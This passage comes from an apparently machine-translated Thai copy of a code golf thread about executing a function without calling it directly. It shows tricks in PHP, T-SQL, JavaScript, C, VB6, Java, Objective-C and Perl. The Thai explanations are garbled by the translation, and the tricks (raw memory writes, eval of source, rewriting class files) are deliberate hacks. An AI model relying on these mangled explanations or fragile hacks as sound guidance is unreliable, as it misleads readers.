        $len = strlen( $code );

        while( $idx < $len and $parenNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "(" )
                ++$parenNestLevel;
            elseif( $char == ")" )
            {
                if( $parenNestLevel == 1 )
                    break;
                else
                    --$parenNestLevel;
            }

            ++$idx;
            $funcArgs .= $char;
        }

        $idx = strpos( $code, "{", $idx ) + 1;
        $curlyNestLevel = 1;

        while( $idx < $len and $curlyNestLevel > 0 )
        {
            $char = $code[$idx];

            if( $char == "{" )
                ++$curlyNestLevel;
            elseif( $char == "}" )
            {
                if( $curlyNestLevel == 1 )
                    break;
                else
                    --$curlyNestLevel;
            }

            ++$idx;
            $funcBody .= $char;
        }
    } else return;

    while( preg_match( "@(?:(\\$[A-Z_][A-Z0-9_]*)[\r\n\s\t\v]*,)@i", $funcArgs, $matches ) )
    {
        var_dump( $matches );
        $funcArgs = str_replace( $matches[0], "global " . $matches[1] . ";", $funcArgs );
    }

    $funcArgs .= ";";
    $code = $funcArgs;

    foreach( $args as $k => $v )
        $code .= sprintf( "\$%s = \"%s\";", $k, addslashes( $v ) );

    $code .= $funcBody;

    return eval( $code );
}

ตัวอย่าง :

//Call getRandomString() with default arguments.
$str = executeFunction( "getRandomString" );
print( $str . PHP_EOL );

//You can also pass your own arguments in.
$args = [ "len" => 25 ]; //The array key must be the name of one of the arguments as it appears in the function declaration.
$str = executeFunction( "getRandomString", $args );
print( $str . PHP_EOL );

ผลลัพธ์ที่เป็นไปได้:

6Dz2r
X7J0p8KVeiaDzm8BInYqkeXB9

คำอธิบาย :

เมื่อเรียกแล้วexecuteFunction()จะอ่านเนื้อหาของไฟล์ที่กำลังทำงานอยู่ในปัจจุบัน (ซึ่งหมายความว่านี่เป็นเพียงการเรียกใช้จาก CLI ตามที่ใช้$argv) แยกวิเคราะห์ข้อโต้แย้งและเนื้อหาของฟังก์ชั่นที่ระบุแฮ็กทุกอย่างเข้าด้วยกันเป็นก้อนใหม่ รหัสeval()มันทั้งหมดและส่งคืนผลลัพธ์ ผลลัพธ์ที่getRandomString()ไม่เคยถูกเรียกจริงไม่ว่าทางตรงหรือทางอ้อม แต่โค้ดในส่วนของฟังก์ชั่นยังคงทำงาน


__construct()วิธีการสร้างนับใน PHP ไม่ดีเพราะคุณไม่เคยเรียกใช้ฟังก์ชั่นโดยตรง แต่ใช้new Something()แทนหรือไม่
Damir Kasipovic

@ D.Kasipovic ชนิดหนึ่งอาจเถียงคุณโดยตรงยังคงเรียกใช้เพียงในวิธีที่แตกต่าง ฉันเลือกวิธีการปัจจุบันของฉันเพราะฉันชอบคิดนอกกรอบ ฉันจะได้ลงทะเบียนเพียงฟังก์ชั่นในขณะที่โทรกลับไปregister_tick_function(), register_shutdown_function()หรือspl_autoload_register()คล้ายกับของ @ GRC คำตอบหลาม แต่ฉันรู้สึกเหมือนที่ 'โกง' และการใช้วิธีที่ง่ายออก
Tony Ellis


7

T-SQL

มันเป็นคุณสมบัติในตัว ทริกเกอร์เพื่อชัยชนะ!

ถ้าคุณอยากสนุกกับมันจริงๆให้สร้างทริกเกอร์ INSTEAD OF ขึ้นมาแทนในวัน April Fool

CREATE TABLE hw(
  Greeting VARCHAR(MAX)
  );

CREATE TRIGGER TR_I_hw
ON hw
INSTEAD OF INSERT
AS
BEGIN
  INSERT hw
  VALUES ('Hello, Code Golf!')
END;

INSERT hw
VALUES ('Hello, World!');

SELECT * FROM hw

ผล:

|          GREETING |
|-------------------|
| Hello, Code Golf! |

เล่นตลกมาก lulz ดังกล่าว ว้าว.

ทิงเกอร์วิดมันบนSQLFiddle


2
ทริกเกอร์รับฉันเสมอในฐานะนักพัฒนาแอปพลิเคชันฉันไม่เคยคาดหวัง
Matthew

7

JavaScript

ในคอนโซล Firefox:

    this.toString = function(){alert('Wow')};

จากนั้นเริ่มพิมพ์สิ่งใดก็ได้ในคอนโซล - Firefox เรียก.toString()หลายครั้งเมื่อคุณพิมพ์ในคอนโซล

วิธีการที่คล้ายกันคือ:

    window.toString = function(){alert('Wow');
            return 'xyz';
    };
    "" + window;

6

C

แพลตฟอร์มที่เลือกคือ Linux เราไม่สามารถเรียกฟังก์ชันของเราได้ดังนั้นเราจะให้ตัวเชื่อมโยงทำแทน:

#include <stdlib.h>
#include <stdio.h>

#define ADDRESS 0x00000000600720 // ¡magic!

void hello()
{
        printf("hello world\n");
}

int main(int argc, char *argv[])
{
        *((unsigned long *) ADDRESS) = (unsigned long) hello;
}

วิธีรับที่อยู่เวทย์มนตร์?

เราพึ่งพาข้อมูลจำเพาะหลักพื้นฐานของฐาน Linux ซึ่งระบุว่า:

.fini_array

ส่วนนี้เก็บอาเรย์ของพอยน์เตอร์ของฟังก์ชั่นที่มีส่วนช่วยในอาเรย์การเลิกจ้างเดียวสำหรับวัตถุที่ปฏิบัติการหรือใช้ร่วมกันที่มีส่วน

  1. รวบรวมรหัส:

    gcc but_for_what_reason_exactly.c -o but_for_what_reason_exactly

  2. ตรวจสอบที่อยู่ของ.fini_array:

    objdump -h -j .fini_array but_for_what_reason_exactly

  3. ค้นหา VMA ของมัน:

 but_for_what_reason_exactly:     file format elf64-x86-64
 Sections:
 Idx Name          Size      VMA               LMA               File off  Algn
  18 .fini_array   00000008  0000000000600720  0000000000600720  00000720  2**3
                   CONTENTS, ALLOC, LOAD, DATA

ADDRESSและแทนที่ค่าที่สำหรับ


5

VB6 และ VBA

ไม่แน่ใจว่าสิ่งนี้มีคุณสมบัติหรือไม่เพราะมันเป็นวิธีการเรียกชั้นเรียน:

สิ่งนี้จะอยู่ในโมดูลของคลาส:

Public Sub TheFunction()

    MsgBox ("WTF?")

End Sub

Public Sub SomeOtherFunction()

    MsgBox ("Expecting this.")

End Sub

และนี่คือรหัส "เรียก":

Private Declare Sub CopyMemory Lib "kernel32.dll" Alias "RtlMoveMemory" (hpvDest As Any, hpvSource As Any, ByVal cbCopy As Long)

Sub Demo()

    Dim a As Long, b as Long
    Dim example As New Class1

    CopyMemory a, ByVal ObjPtr(example), 4
    CopyMemory b, ByVal a + &H1C, 4
    CopyMemory ByVal a + &H1C, ByVal a + &H1C + 4, 4
    CopyMemory ByVal a + &H1C + 4, b, 4

    Call example.SomeOtherFunction

End Sub

มันทำงานได้โดยการสลับฟังก์ชั่นของ vptr สำหรับสอง Subs ใน vtable สำหรับคลาส


เพื่อนคุณอันตราย ! ทำได้ดีนี่!
Mathieu Guindon

ผมว่ามันไม่มีสิทธิ์ได้เพราะใน VB6 / VBA วิธีการเป็นสมาชิกของคลาส - มิฉะนั้นมันเป็นขั้นตอน ;)
มาติเยอ Guindon

5

Haskell

ใน Haskell ถ้าคุณทำ:

main=putStrLn "This is the main action."

มันจะถูกดำเนินการทันทีโดยไม่ต้องเรียกชื่อเมื่อคุณเรียกใช้ มายากล!


1
Haskell ไม่นับ คุณไม่สามารถเรียกการกระทำของ IO ได้เพียงเชื่อมโยงการกระทำของ IO กับมันมากขึ้นหรือกำหนดที่ใดที่หนึ่ง
John Dvorak

มันเป็นแนวคิดที่เทียบเท่ากับการกระทำของ IO
PyRulez


4

ชวา

คำตอบจาวาอื่น ๆ จากฉัน ตามที่คุณเห็นในรหัสมันเรียกโดยตรงtheCalledMethodแต่วิธีการnotCalledMethodจะดำเนินการแทน

ดังนั้นในที่สุดฉันก็ทำ 2 สิ่ง:

  • การเรียกใช้เมธอดโดยไม่เรียกใช้
  • ไม่ได้เรียกวิธีโดยการเรียกมัน
import java.io.BufferedInputStream;
import java.io.BufferedOutputStream;
import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;

public class ClassRewriting {
    public static void main(String[] args) throws IOException {
        patchClass();
        OtherClass.theCalledMethod();
    }

    private static void patchClass() throws IOException {
        File f = new File("OtherClass.class");
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        try (InputStream is = new BufferedInputStream(new FileInputStream(f))) {
            int c;
            while ((c = is.read()) != -1) baos.write(c);
        }
        String s = baos.toString()
                .replace("theCalledMethod", "myUselessMethod")
                .replace("notCalledMethod", "theCalledMethod");
        try (OutputStream os = new BufferedOutputStream(new FileOutputStream(f))) {
            for (byte b : s.getBytes()) os.write(b);
        }
    }
}

class OtherClass {
    public static void theCalledMethod() {
        System.out.println("Hi, this is the called method.");
    }

    public static void notCalledMethod() {
        System.out.println("This method is not called anywhere, you should never see this.");
    }
}

ใช้มัน

> javac ClassRewriting.java

> java ClassRewriting
This method is not called anywhere, you should never see this.

>

นี่ขึ้นอยู่กับแพลตฟอร์ม โดยเฉพาะอย่างยิ่งมันอาจจะล้มเหลวใน OS X ที่การเข้ารหัสอักขระเริ่มต้นของแพลตฟอร์มคือ UTF-8
ntoskrnl

@ntoskrnl นี้ควรจะง่ายต่อการแก้ไขถ้าคุณส่งชื่อการเข้ารหัสเป็นพารามิเตอร์ไปที่วิธีการเปลี่ยนมันในgetBytes() getBytes("UTF-8")เนื่องจากฉันไม่มี OS X คุณสามารถทดสอบได้ไหมว่าทำงานได้หรือไม่
Victor Stafusa

UTF-8 ใช้ไม่ได้กับข้อมูลไบนารี การเข้ารหัสไบต์เดียวเช่น ISO-8859-1 ควรใช้งานได้ แต่การจัดการข้อมูลไบนารีเนื่องจากสตริงยังคงไม่ถูกต้อง
ntoskrnl

3
@ntoskrnl ในความเป็นจริงการข่มขืน classfiles สำหรับการทำสิ่งที่ฉันทำที่นี่ผิดการเข้ารหัสเป็นปัญหาที่เล็กที่สุด :)
Victor Stafusa


4

ชวา

เย้เก็บขยะ!

public class CrazyDriver {

    private static class CrazyObject {
        public CrazyObject() {
            System.out.println("Woo!  Constructor!");
        }

        private void indirectMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            indirectMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
    }

    private static void randomMethod() {
        CrazyObject wut = new CrazyObject();
    }
}

รุ่นสำหรับผู้ที่ย่อมจะกล่าวว่าSystem.gc()ไม่น่าเชื่อถือ:

public class UselessDriver {

    private static class UselessObject {

        public UselessObject() {
            System.out.println("Woo!  Constructor!");
        }

        public void theWinningMethod() {
            System.out.println("I win!");
        }

        @Override
        public void finalize() {
            theWinningMethod();
        }
    }

    public static void main(String[] args) {
        randomMethod();
        System.gc();
        fillTheJVM();
    }


    private static void randomMethod() {
        UselessObject wut = new UselessObject();
    }

    private static void fillTheJVM() {
        try {
            List<Object> jvmFiller = new ArrayList<Object>();
            while(true) {
                jvmFiller.add(new Object());
            }
        }
        catch(OutOfMemoryError oome) {
            System.gc();
        }
    }
}

4

Objective-C

(น่าจะเป็นก็ต่อเมื่อรวบรวมด้วยเสียงดังกราวบน Mac OS X)

#import <Foundation/Foundation.h>
#import <objc/runtime.h>

void unusedFunction(void) {
    printf("huh?\n");
    exit(0);
}

int main() {

    NSString *string;
    string = (__bridge id)(void*)0x2A27; // Is this really valid?

    NSLog(@"%@", [string stringByAppendingString:@"foo"]);

    return 0;
}

@interface MyClass : NSObject
@end
@implementation MyClass

+ (void)load {
    Class newClass = objc_allocateClassPair([NSValue class], "MyClass2", 0);
    IMP imp = class_getMethodImplementation(self, @selector(unusedMethod));
    class_addMethod(object_getClass(newClass), _cmd, imp, "");
    objc_registerClassPair(newClass);
    [newClass load];
}

- (void)unusedMethod {
    Class class = [self superclass];
    IMP imp = (IMP)unusedFunction;
    class_addMethod(class, @selector(doesNotRecognizeSelector:), imp, "");
}

@end

รหัสนี้ใช้เทคนิคต่าง ๆ เพื่อไปยังฟังก์ชันที่ไม่ได้ใช้ แรกคือค่า 0x2A27 นี่เป็นตัวชี้แท็กสำหรับจำนวนเต็ม 42 ซึ่งเข้ารหัสค่าในตัวชี้เพื่อหลีกเลี่ยงการจัดสรรวัตถุ

MyClassถัดไปคือ มันเป็นเรื่องที่ไม่เคยใช้ แต่รันไทม์เรียกวิธีการเมื่อมีการโหลดก่อน+load mainสิ่งนี้สร้างและลงทะเบียนคลาสใหม่แบบไดนามิกโดยใช้NSValueเป็นซูเปอร์คลาส นอกจากนี้ยังเพิ่ม+loadวิธีการสำหรับการเรียนที่ใช้MyClass's -unusedMethodเป็นการดำเนินการ หลังจากการลงทะเบียนจะเรียกวิธีโหลดในคลาสใหม่ (ด้วยเหตุผลบางอย่างที่ไม่ได้เรียกว่าอัตโนมัติ)

เนื่องจากวิธีการโหลดของคลาสใหม่ใช้การใช้งานแบบเดียวกันunusedMethodซึ่งเรียกว่ามีประสิทธิภาพ มันใช้เวลา superclass ของตัวเองและเพิ่มunusedFunctionเป็นการใช้งานสำหรับdoesNotRecognizeSelector:วิธีการของชั้นเรียนที่ วิธีนี้เดิมเป็นวิธีการอินสแตนซ์MyClassแต่ถูกเรียกว่าเป็นวิธีการเรียนในชั้นเรียนใหม่จึงselfเป็นวัตถุชั้นใหม่ ดังนั้นซูเปอร์คลาสคือNSValueซึ่งเป็นซูเปอร์คลาสNSNumberด้วย

ในที่สุดก็mainวิ่ง ใช้ค่าตัวชี้และเกาะติดกับNSString *ตัวแปร ( __bridgeและตัวแรกและตัวแรกเพื่อvoid *อนุญาตให้ใช้ด้วยหรือไม่ใช้ ARC) จากนั้นจะพยายามเรียกstringByAppendingString:ใช้ตัวแปรนั้น เพราะมันเป็นจริงจำนวนที่ไม่ได้ใช้วิธีนั้นdoesNotRecognizeSelector:วิธีการที่เรียกว่าแทนซึ่งเดินทางผ่านลำดับชั้นในการที่จะดำเนินการโดยใช้NSValueunusedFunction


หมายเหตุ: ความเข้ากันไม่ได้กับระบบอื่นเกิดจากการใช้ตัวชี้ที่ติดแท็กซึ่งฉันไม่เชื่อว่ามีการใช้งานโดยการใช้งานอื่น ๆ หากสิ่งนี้ถูกแทนที่ด้วยหมายเลขที่สร้างขึ้นตามปกติรหัสที่เหลือควรทำงานได้ดี


อืมลองด้วยciruZ 'ObjFWมันเป็น Objective-C ที่ค่อนข้างดีรันไทม์และเฟรมเวิร์กบางทีนี่หรืออะไรที่ใกล้จะทำงานกับมันเช่นกัน ;-)
mirabilos

@ mirabilos ความไม่ลงรอยกันเพียงอย่างเดียวในนั้นคือ0x2A27ค่าดังนั้นฉันจึงไม่รู้ว่ามีการใช้งานที่อื่นหรือไม่ ObjFW นั้นน่าสนใจอย่างแน่นอน
ughoavgfhw


@ ไบรอันขอบคุณ! ฉันกำลังมองหาบทความที่แน่นอนและจำชื่อไม่ได้
ughoavgfhw

@BryanChen อ่าโอเค ughoavgfhw: แน่นอนว่าแค่ต้องการชี้ให้เห็นทางเลือกรันไทม์ในกรณีที่คุณต้องการเล่นกับมัน
mirabilos

3

จาวาสคริ

ฉันรู้สึกเช่นนี้ไม่ได้ดูเหมือนชัดเจนว่ากำลังเรียกใช้ฟังก์ชัน

window["false"] =  function() { alert("Hello world"); }
window[![]]();

5
ถ้าคุณถามฉัน
โคลจอห์นสัน

@ ColeJohnson ฉันคิดว่าเขาข้ามมันไปแล้ว ...
Tomas

3

C # (ผ่านusing)

using System;

namespace P
{
    class Program : IDisposable
    {
        static void Main(string[] args)
        {
            using (new Program()) ;
        }

        public void Dispose()
        {
            Console.Write("I was called without calling me!");
        }
    }
}

3

ชวา

package stuff;

import java.io.ByteArrayInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;

public class SerialCall {
    static class Obj implements Serializable {
        private void readObject(java.io.ObjectInputStream in) throws IOException, ClassNotFoundException {
            System.out.println("Magic!");
        }
    }

    private static final byte[] data = { -84, -19, 0, 5, 115, 114, 0, 20, 115,
            116, 117, 102, 102, 46, 83, 101, 114, 105, 97, 108, 67, 97, 108,
            108, 36, 79, 98, 106, 126, -35, -23, -68, 115, -91, -19, -120, 2,
            0, 0, 120, 112 };

    public static void main(String[] args) throws Exception {
//      ByteArrayOutputStream baos = new ByteArrayOutputStream();
//      ObjectOutputStream out = new ObjectOutputStream(baos);
//      out.writeObject(new Obj());
//      System.out.println(Arrays.toString(baos.toByteArray()));

        ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(data));
        in.readObject();
    }
}

ฉันกำลังใช้ประโยชน์จากคุณสมบัติพิเศษของการทำให้เป็นอันดับ Java readObjectวิธีการจะเรียกเมื่อวัตถุถูก deserialized แต่มันไม่ได้เรียกว่าโดยตรง - ไม่ได้โดยรหัสของฉันหรือโดยห้องสมุด deserialization หากคุณขุดลึกลงไปในแหล่งที่มาคุณจะเห็นว่าในระดับต่ำวิธีการที่เรียกว่าภายในผ่านการสะท้อนกลับ


ใช่; การทำให้เป็นอนุกรมช่วยให้ตลกตลกสวย :); btw มีวิธีคล้ายกันใน lobs การทำให้เป็นอนุกรมอื่น ๆ สำหรับ java
masterX244

3

Perl

มันง่ายมาก รหัสด้านล่างใช้รหัสในรูทีนย่อยโดยอัตโนมัติแม้ว่าจะไม่มีการโทรที่ชัดเจน

sub call_me_plz {
    BEGIN {
        print "Hello, world!\n";
    }
}
# call_me_plz(); # don't call the method

แม้ว่าคุณจะไม่แสดงข้อคิดเห็นการโทร แต่จะยังคงถูกเรียกเพียงครั้งเดียว


อย่างไร ไม่สามารถอยู่ข้างหลังเวทย์มนตร์ +
masterX244
โดยการใช้ไซต์ของเรา หมายความว่าคุณได้อ่านและทำความเข้าใจนโยบายคุกกี้และนโยบายความเป็นส่วนตัวของเราแล้ว
Licensed under cc by-sa 3.0 with attribution required.